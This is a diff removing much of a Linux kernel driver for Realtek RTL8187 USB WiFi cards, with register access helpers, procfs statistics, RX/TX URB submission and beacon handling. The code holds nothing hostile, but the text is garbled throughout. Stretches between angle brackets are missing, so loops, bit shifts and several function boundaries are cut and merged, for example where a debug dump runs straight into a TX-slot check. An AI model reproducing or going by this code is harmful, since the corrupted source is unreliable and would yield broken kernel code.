DUMMY_RX -#undef DEBUG_ZERO_RX -#undef DEBUG_RX_SKB -#undef DEBUG_TX_FRAG -#undef DEBUG_RX_FRAG -#undef DEBUG_TX_FILLDESC -#undef DEBUG_TX -#undef DEBUG_IRQ -#undef DEBUG_RX -#undef DEBUG_RXALLOC -#undef DEBUG_REGISTERS -#undef DEBUG_RING -#undef DEBUG_IRQ_TASKLET -#undef DEBUG_TX_ALLOC -#undef DEBUG_TX_DESC - -//#define CONFIG_RTL8180_IO_MAP - -#include "r8180_hw.h" -#include "r8187.h" -#include "r8180_rtl8225.h" /* RTL8225 Radio frontend */ -#include "r8180_93cx6.h" /* Card EEPROM */ -#include "r8180_wx.h" - - -// FIXME: check if 2.6.7 is ok -#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7)) -#define usb_kill_urb usb_unlink_urb -#endif - -#ifdef CONFIG_RTL8180_PM -#include "r8180_pm.h" -#endif - -#ifndef USB_VENDOR_ID_REALTEK -#define USB_VENDOR_ID_REALTEK 0x0bda -#endif -#ifndef USB_VENDOR_ID_NETGEAR -#define USB_VENDOR_ID_NETGEAR 0x0846 -#endif - -static struct usb_device_id rtl8187_usb_id_tbl[] = { - {USB_DEVICE(USB_VENDOR_ID_REALTEK, 0x8187)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6100)}, - {USB_DEVICE(USB_VENDOR_ID_NETGEAR, 0x6a00)}, - - {} -}; - -static char* ifname = "wlan%d"; -#if 0 -static int hwseqnum = 0; -static int hwwep = 0; -#endif -static int channels = 0x3fff; - -MODULE_LICENSE("GPL"); -MODULE_VERSION("V 1.1"); -MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl); -MODULE_AUTHOR("Andrea Merello "); -MODULE_DESCRIPTION("Linux driver for Realtek RTL8187 WiFi cards"); - -#if 0 -MODULE_PARM(ifname,"s"); -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); - -MODULE_PARM(hwseqnum,"i"); -MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); - -MODULE_PARM(hwwep,"i"); -MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); - -MODULE_PARM(channels,"i"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); -#endif - -#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 9) -module_param(ifname, charp, S_IRUGO|S_IWUSR ); -//module_param(hwseqnum,int, S_IRUGO|S_IWUSR); -//module_param(hwwep,int, S_IRUGO|S_IWUSR); -module_param(channels,int, S_IRUGO|S_IWUSR); -#else -MODULE_PARM(ifname, "s"); -//MODULE_PARM(hwseqnum,"i"); -//MODULE_PARM(hwwep,"i"); -MODULE_PARM(channels,"i"); -#endif - -MODULE_PARM_DESC(devname," Net interface name, wlan%d=default"); -//MODULE_PARM_DESC(hwseqnum," Try to use hardware 802.11 header sequence numbers. Zero=default"); -//MODULE_PARM_DESC(hwwep," Try to use hardware WEP support. Still broken and not available on all cards"); -MODULE_PARM_DESC(channels," Channel bitmask for specific locales. NYI"); - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id); - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf); - -static struct usb_driver rtl8187_usb_driver = { - -#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 16) - .owner = THIS_MODULE, -#endif - .name = RTL8187_MODULE_NAME, /* Driver name */ - .id_table = rtl8187_usb_id_tbl, /* PCI_ID table */ - .probe = rtl8187_usb_probe, /* probe fn */ - .disconnect = rtl8187_usb_disconnect, /* remove fn */ -#ifdef CONFIG_RTL8180_PM - .suspend = rtl8180_suspend, /* PM suspend fn */ - .resume = rtl8180_resume, /* PM resume fn */ -#else - .suspend = NULL, /* PM suspend fn */ - .resume = NULL, /* PM resume fn */ -#endif -}; - - -void write_nic_byte_E(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xfe00, 0, &data, 1, HZ / 2); -} - - -void write_nic_byte(struct net_device *dev, int indx, u8 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 1, HZ / 2); -} - - -void write_nic_word(struct net_device *dev, int indx, u16 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 2, HZ / 2); -} - - -void write_nic_dword(struct net_device *dev, int indx, u32 data) -{ - - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_sndctrlpipe(udev, 0), - RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, - indx|0xff00, 0, &data, 4, HZ / 2); -} - - - -u8 read_nic_byte(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 1, HZ / 2); - return data; -} - -u8 read_nic_byte_E(struct net_device *dev, int indx) -{ - u8 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xfe00, 0, &data, 1, HZ / 2); - return data; -} - - -u16 read_nic_word(struct net_device *dev, int indx) -{ - u16 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 2, HZ / 2); - return data; -} - - -u32 read_nic_dword(struct net_device *dev, int indx) -{ - u32 data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - struct usb_device *udev = priv->udev; - - usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), - RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, - indx|0xff00, 0, &data, 4, HZ / 2); - return data; -} - -/* this might still called in what was the PHY rtl8185/rtl8187 common code - * plans are to possibilty turn it again in one common code... - */ -inline void force_pci_posting(struct net_device *dev) -{ -} - - -//irqreturn_t rtl8180_interrupt(int irq, void *netdev, struct pt_regs *regs); -//void set_nic_rxring(struct net_device *dev); -//void set_nic_txring(struct net_device *dev); -static struct net_device_stats *rtl8180_stats(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_restart(struct net_device *dev); - -/**************************************************************************** - -----------------------------PROCFS STUFF------------------------- -*****************************************************************************/ - -static struct proc_dir_entry *rtl8180_proc = NULL; - -static int proc_get_registers(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - int i,n; - - int max=0xff; - - /* This dump the current register page */ - for(n=0;n<=max;) - { - //printk( "\nD: %2x> ", n); - len += snprintf(page + len, count - len, - "\nD: %2x > ",n); - - for(i=0;i<16 && n<=max;i++,n++) - len += snprintf(page + len, count - len, - "%2x ",read_nic_byte(dev,n)); - - // printk("%2x ",read_nic_byte(dev,n)); - } - len += snprintf(page + len, count - len,"\n"); - - - - *eof = 1; - return len; - -} - -#if 0 -static int proc_get_stats_hw(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "NIC int: %lu\n" - "Total int: %lu\n", - priv->stats.ints, - priv->stats.shints); - - *eof = 1; - return len; -} -#endif - -static int proc_get_stats_tx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "TX normal priority ok int: %lu\n" - "TX normal priority error int: %lu\n" -// "TX high priority ok int: %lu\n" -// "TX high priority failed error int: %lu\n" - "TX low priority ok int: %lu\n" - "TX low priority failed error int: %lu\n" - "TX queue resume: %lu\n" - "TX queue stopped?: %d\n" - "TX fifo overflow: %lu\n" -// "TX beacon: %lu\n" - "TX lp queue: %d\n" - "TX np queue: %d\n" - "TX HW queue: %d\n" - "TX lp dropped: %lu\n" - "TX np dropped: %lu\n" - "TX total data packets %lu\n", -// "TX beacon aborted: %lu\n", - priv->stats.txnpokint, - priv->stats.txnperr, -// priv->stats.txhpokint, -// priv->stats.txhperr, - priv->stats.txlpokint, - priv->stats.txlperr, - priv->stats.txresumed, - netif_queue_stopped(dev), - priv->stats.txoverflow, -// priv->stats.txbeacon, - atomic_read(&(priv->tx_lp_pending)), - atomic_read(&(priv->tx_np_pending)), - read_nic_byte(dev, TXFIFOCOUNT), - priv->stats.txlpdrop, - priv->stats.txnpdrop, - priv->stats.txdatapkt -// priv->stats.txbeaconerr - ); - - *eof = 1; - return len; -} - - - -static int proc_get_stats_rx(char *page, char **start, - off_t offset, int count, - int *eof, void *data) -{ - struct net_device *dev = data; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - int len = 0; - - len += snprintf(page + len, count - len, - "RX packets: %lu\n" - "RX urb status error: %lu\n" - "RX invalid urb error: %lu\n", - priv->stats.rxok, - priv->stats.rxstaterr, - priv->stats.rxurberr); - - *eof = 1; - return len; -} - - -static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - - return &priv->wstats; -} - -void rtl8180_proc_module_init(void) -{ - DMESG("Initializing proc filesystem"); - rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); -} - - -void rtl8180_proc_module_remove(void) -{ - remove_proc_entry(RTL8187_MODULE_NAME, proc_net); -} - - -void rtl8180_proc_remove_one(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - if (priv->dir_dev) { - // remove_proc_entry("stats-hw", priv->dir_dev); - remove_proc_entry("stats-tx", priv->dir_dev); - remove_proc_entry("stats-rx", priv->dir_dev); - // remove_proc_entry("stats-ieee", priv->dir_dev); - // remove_proc_entry("stats-ap", priv->dir_dev); - remove_proc_entry("registers", priv->dir_dev); - remove_proc_entry(dev->name, rtl8180_proc); - priv->dir_dev = NULL; - } -} - - -void rtl8180_proc_init_one(struct net_device *dev) -{ - struct proc_dir_entry *e; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, - rtl8180_proc); - if (!priv->dir_dev) { - DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", - dev->name); - return; - } - #if 0 - e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_hw, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-hw\n", - dev->name); - } - #endif - e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_rx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-rx\n", - dev->name); - } - - - e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_tx, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-tx\n", - dev->name); - } - #if 0 - e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ieee, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ieee\n", - dev->name); - } - - - e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_stats_ap, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/stats-ap\n", - dev->name); - } - #endif - - e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, - priv->dir_dev, proc_get_registers, dev); - - if (!e) { - DMESGE("Unable to initialize " - "/proc/net/rtl8187/%s/registers\n", - dev->name); - } -} -/**************************************************************************** - -----------------------------MISC STUFF------------------------- -*****************************************************************************/ - -/* this is only for debugging */ -void print_buffer(u32 *buffer, int len) -{ - int i; - u8 *buf =(u8*)buffer; - - printk("ASCII BUFFER DUMP (len: %x):\n",len); - - for(i=0;itx_np_pending : &priv->tx_lp_pending); - - return (used < MAX_TX_URB); -} - -void tx_timeout(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - //rtl8180_commit(dev); - schedule_work(&priv->reset_wq); - //DMESG("TXTIMEOUT"); -} - - -/* this is only for debug */ -void dump_eprom(struct net_device *dev) -{ - int i; - for(i=0; i<63; i++) - DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i)); -} - -/* this is only for debug */ -void rtl8180_dump_reg(struct net_device *dev) -{ - int i; - int n; - int max=0xff; - - DMESG("Dumping NIC register map"); - - for(n=0;n<=max;) - { - printk( "\nD: %2x> ", n); - for(i=0;i<16 && n<=max;i++,n++) - printk("%2x ",read_nic_byte(dev,n)); - } - printk("\n"); -} - -/**************************************************************************** - ------------------------------HW STUFF--------------------------- -*****************************************************************************/ - - -void rtl8180_irq_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - //priv->irq_enabled = 1; -/* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ - INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ - INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); -*/ - write_nic_word(dev,INTA_MASK, priv->irq_mask); -} - - -void rtl8180_irq_disable(struct net_device *dev) -{ -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - write_nic_word(dev,INTA_MASK,0); - force_pci_posting(dev); -// priv->irq_enabled = 0; -} - - -void rtl8180_set_mode(struct net_device *dev,int mode) -{ - u8 ecmd; - ecmd=read_nic_byte(dev, EPROM_CMD); - ecmd=ecmd &~ EPROM_CMD_OPERATING_MODE_MASK; - ecmd=ecmd | (mode<ieee80211->state == IEEE80211_LINKED){ - - if (priv->ieee80211->iw_mode == IW_MODE_INFRA) - msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) - msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) - msr |= (MSR_LINK_MASTER<chan=ch; - #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || - priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; - priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); - } - #endif - - /* this hack should avoid frame TX during channel setting*/ - tx = read_nic_dword(dev,TX_CONF); - tx &= ~TX_LOOPBACK_MASK; - -#ifndef LOOP_TEST - write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); - mdelay(10); - write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<udev, - usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, - RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); - if(err && err != -EPERM){ - DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - - } - -} - - -void rtl8187_rx_initiate(struct net_device *dev) -{ - int i; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - if(!priv->rx_urb) - DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); - -} - -void rtl8187_set_rxconf(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u32 rxconf; - - rxconf=read_nic_dword(dev,RX_CONF); - rxconf = rxconf &~ MAC_FILTER_MASK; - rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - - if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ - dev->flags & IFF_PROMISC){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ - rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ - rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) - rxconf = rxconf | (1<card_8185){ - - txconf = txconf &~ (1<ieee80211->hw_seq) - txconf= txconf &~ (1<retry_data<retry_rts<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - */ -} - -#if 0 -void rtl8180_beacon_tx_enable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &=~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - - -void rtl8180_ -_disable(struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); -} - -#endif - - -void rtl8180_rtx_disable(struct net_device *dev) -{ - u8 cmd; - int i; - struct r8180_priv *priv = ieee80211_priv(dev); - - cmd=read_nic_byte(dev,CMD); - write_nic_byte(dev, CMD, cmd &~ \ - ((1<rx_urb){ - for(i=0;irx_urb[i]); - } - /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) -// dev_kfree_skb_any(priv->rx_skb); -} - - -int alloc_tx_beacon_desc_ring(struct net_device *dev, int count) -{ - #if 0 - int i; - u32 *tmp; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, - &priv->txbeaconringdma); - if (!priv->txbeaconring) return -1; - for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); - else - *(tmp+4) = (u32)priv->txbeaconringdma; - - tmp=tmp+8; - } - #endif - return 0; -} - - -void rtl8180_reset(struct net_device *dev) -{ - - u8 cr; - - /* make sure the analog power is on before - * reset, otherwise reset may fail - */ - rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - - rtl8180_irq_disable(dev); - - mdelay(200); - write_nic_byte_E(dev,0x18,0x10); - write_nic_byte_E(dev,0x18,0x11); - write_nic_byte_E(dev,0x18,0x00); - mdelay(200); - - cr=read_nic_byte(dev,CMD); - cr = cr & 2; - cr = cr | (1<11) return 0; - return rtl_rate[rate]; -} - - -void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)rx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - - priv->rxurb_task = rx_urb; -// DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); -// DMESGW("=David: Rx tasklet finish!"); -} - -#if 0 -void rtl8180_tx_queues_stop(struct net_device *dev) -{ - //struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - u8 dma_poll_mask = (1<dma_poll_mask |= (1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -void rtl8180_data_hard_resume(struct net_device *dev) -{ - // FIXME !! - #if 0 - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dma_poll_mask &= ~(1<dma_poll_mask); - rtl8180_set_mode(dev,EPROM_CMD_NORMAL); - #endif -} - - -/* this function TX data frames when the ieee80211 stack requires this. - * It checks also if we need to stop the ieee tx queue, eventually do it - */ -void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; - unsigned long flags; - struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; -// DMESG("%x %x", h->frame_ctl, h->seq_ctl); - /* - * This function doesn't require lock because we make - * sure it's called with the tx_lock already acquired. - * this come from the kernel's hard_xmit callback (trought - * the ieee stack, or from the try_wake_queue (again trought - * the ieee stack. - */ - spin_lock_irqsave(&priv->tx_lock,flags); - - //DMESG("TX"); - if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ - DMESG("Error: no TX slot "); - ieee80211_stop_queue(priv->ieee80211); - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, LOW_PRIORITY, morefrag, - ieeerate2rtlrate(rate)); - - priv->stats.txdatapkt++; - - if (!check_nic_enought_desc(dev, LOW_PRIORITY)) - ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - -} -#if 0 -/* This is a rough attempt to TX a frame - * This is called by the ieee 80211 stack to TX management frames. - * If the ring is full packet are dropped (for data frame the queue - * is stopped before this can happen). - */ -int rtl8180_hard_start_xmit(struct sk_buff *skb,struct net_device *dev) -{ - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - int ret; - unsigned long flags; - - spin_lock_irqsave(&priv->tx_lock,flags); - - ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); -/* - int i; - for(i=0;ilen;i++) - printk("%x ", skb->data[i]); - printk("--------------------\n"); -*/ - priv->ieee80211->stats.tx_bytes+=skb->len; - priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - - dev_kfree_skb_any(skb); - return ret; -} -#endif - -#if 0 -// longpre 144+48 shortpre 72+24 -u16 rtl8180_len2duration(u32 len, short rate,short* ext) -{ - u16 duration; - u16 drift; - *ext=0; - - switch(rate){ - case 0://1mbps - *ext=0; - duration = ((len+4)<<4) /0x2; - drift = ((len+4)<<4) % 0x2; - if(drift ==0 ) break; - duration++; - break; - - case 1://2mbps - *ext=0; - duration = ((len+4)<<4) /0x4; - drift = ((len+4)<<4) % 0x4; - if(drift ==0 ) break; - duration++; - break; - - case 2: //5.5mbps - *ext=0; - duration = ((len+4)<<4) /0xb; - drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) - break; - duration++; - break; - - default: - case 3://11mbps - *ext=0; - duration = ((len+4)<<4) /0x16; - drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) - break; - duration++; - if(drift > 6) - break; - *ext=1; - break; - } - - return duration; -} -#endif - -void rtl8180_try_wake_queue(struct net_device *dev, int pri); - -void rtl8187_lptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txlpokint++; - else - priv->stats.txlperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_lp_pending); - rtl8180_try_wake_queue(dev,LOW_PRIORITY); -} - - -void rtl8187_beacon_stop(struct net_device *dev) -{ - u8 msr, msrm, msr2; - msr = read_nic_byte(dev, MSR); - msrm = msr & MSR_LINK_MASK; - msr2 = msr & ~MSR_LINK_MASK; - if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - - write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); - write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); - //for(i=0;ibssid[i]); - - rtl8180_update_msr(dev); - -// rtl8180_set_mode(dev,EPROM_CMD_CONFIG); - write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); - write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); - write_nic_word(dev, BcnIntTime, 100); - - -} - -void rtl8187_beacon_tx(struct net_device *dev) -{ - - struct r8180_priv *priv = ieee80211_priv(dev); - struct sk_buff *skb; - int i = 0; - - rtl8187_net_update(dev); - - skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ - DMESG("not enought memory for allocating beacon"); - return; - } - -#if 0 - while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ - msleep_interruptible_rtl(HZ/2); - if(i++ > 20){ - DMESG("get stuck to wait EP3 become ready"); - return ; - } - } -#endif - write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - - i=0; - //while(!read_nic_byte(dev,BQREQ & (1<<7))) - while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) - { - msleep_interruptible_rtl(HZ/2); - if(i++ > 10){ - DMESG("get stuck to wait HW beacon to be ready"); - return ; - } - } - - rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, - 0, priv->ieee80211->basic_rate); - -} - -void rtl8187_nptx_isr(struct urb *tx_urb, struct pt_regs *regs) -{ - struct net_device *dev = (struct net_device*)tx_urb->context; - struct r8180_priv *priv = ieee80211_priv(dev); - if(tx_urb->status == 0) - priv->stats.txnpokint++; - else - priv->stats.txnperr++; - kfree(tx_urb->transfer_buffer); - usb_free_urb(tx_urb); - atomic_dec(&priv->tx_np_pending); - //rtl8180_try_wake_queue(dev,NORM_PRIORITY); -} - - -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB - */ - -short rtl8180_tx(struct net_device *dev, u32* txbuf, int len, priority_t priority, - short morefrag, short rate) -{ - u32 *tx; -// u16 duration; -// short ext; - int pend ; - int status; - struct urb *tx_urb; - int urb_len; - struct r8180_priv *priv = ieee80211_priv(dev); -// int rate = ieeerate2rtlrate(priv->ieee80211->rate); - - pend = atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - /* we are locked here so the two atomic_read and inc are executed without interleaves */ - if( pend > MAX_TX_URB){ - if(priority == NORM_PRIORITY) - priv->stats.txnpdrop++; - else - priv->stats.txlpdrop++; - return -1; - } - - - //tx = kmalloc((len + 4*3), GFP_ATOMIC); - urb_len = len + 4*3; - if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; - } - tx = kmalloc(urb_len, GFP_ATOMIC); - if(!tx) return -ENOMEM; -printk(KERN_WARNING "urb_len = %d\n", urb_len); - tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - - if(!tx_urb){ - - kfree(tx); - return -ENOMEM; - } - - memcpy(tx+3,txbuf,len); - tx[0] = 0; - tx[0] |= len & 0xfff; - tx[0] |= (1<<15); - -// if(priv->shortpre) -// tx[0] |= (1<<16); - - //if(len > priv->rts_threshold){ -// tx[0] |= (1<<23); //ENABLE RTS -// tx[0] |= (1<<18); //ENABLE CTS - //} - if(morefrag) tx[0] |= (1<<17); - tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ - tx[0] |= (rate << 24); - tx[1] = 0; - -// duration = rtl8180_len2duration(len, -// rate,&ext); -// tx[1] |= (duration & 0x7fff) <<16; -// if(ext) tx[1] |= (1<<31); - - -// tx[2] = 0x303020; - tx[2] = 3; // CW min - tx[2] |= (7<<4); //CW max - tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - -// printk("%x\n%x\n",tx[0],tx[1]); - - #ifdef DUMP_TX - int i; - printk("--rate %x---",rate); - for (i = 0; i < (len + 3); i++) - printk("%2x", ((u8*)tx)[i]); - printk("---------------\n"); - #endif - - - /* FIXME check what EP is for low/norm PRI */ - usb_fill_bulk_urb(tx_urb,priv->udev, - usb_sndbulkpipe(priv->udev,(priority == LOW_PRIORITY) ? 2:3), tx, - urb_len, (priority == LOW_PRIORITY)?rtl8187_lptx_isr:rtl8187_nptx_isr, dev); - status = usb_submit_urb(tx_urb, GFP_ATOMIC); - if (!status){ - atomic_inc((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending); - return 0; - }else{ - DMESGE("Error TX URB %d, error %d", - atomic_read((priority == NORM_PRIORITY)? &priv->tx_np_pending : &priv->tx_lp_pending), - status); - return -1; - } -} - - - -void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); - - -short rtl8187_usb_initendpoints(struct net_device *dev) -{ - struct r8180_priv *priv = ieee80211_priv(dev); - int i; - - priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - - for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) - goto destroy; - - priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) - goto destroy1; - - priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; - } - - return 0; - -destroy1: - usb_free_urb(priv->rx_urb[i]); - -destroy: - while (--i >= 0){ - kfree(priv->rx_urb[i]->transfer_buffer); - usb_free_urb(priv->rx_urb[i]); - } - - kfree(priv->rx_urb); - - 